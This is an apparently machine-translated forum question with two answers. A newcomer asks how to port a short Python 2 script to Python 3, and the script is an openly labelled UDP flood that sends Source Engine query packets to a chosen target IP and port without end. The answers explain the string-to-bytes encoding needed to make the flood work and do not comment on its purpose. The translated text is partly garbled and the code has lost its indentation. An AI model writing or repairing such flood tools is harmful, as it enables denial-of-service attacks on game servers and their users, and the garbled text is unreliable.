这是用Python 2.x编写的代码,我想让它在Python 3.x中运行。
这条线在Python 3.x中的作用是什么?
while True:
sock.sendto(bytes,(ip,port))
注意:我今天之前从未使用过Python,所以如果这对你来说是一个愚蠢的问题,请不要开枪。
以下是整个代码,在Python 3中应该是什么样的?
import socket, sys
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'
ip = input("Target IP: ")
port = input("Target Port: ")
print ("Exit the program to stop the flood")
while True:
sock.sendto(bytes,(ip,port))
答案 0 :(得分:2)
Python 3中的代码完全相同。
区别在于str
类型表示Python 3中的Unicode字符串。str
是Python 2中的字节字符串。
将bytes
转换为bytes
,例如s.encode(encoding)
。同时重命名bytes
以避免与内置名称bytes
混淆。
答案 1 :(得分:1)
最有可能bytes
是一个str,这意味着它是一个字符集合。通过网络,您不能发送字符,只能发送字节。可以通过多种方式将字符编码为字节流。你很可能想要使用utf-8。您可以使用the_string.encode ('utf-8')
将str编码为字节对象。这个字节对象可以通过网络发送。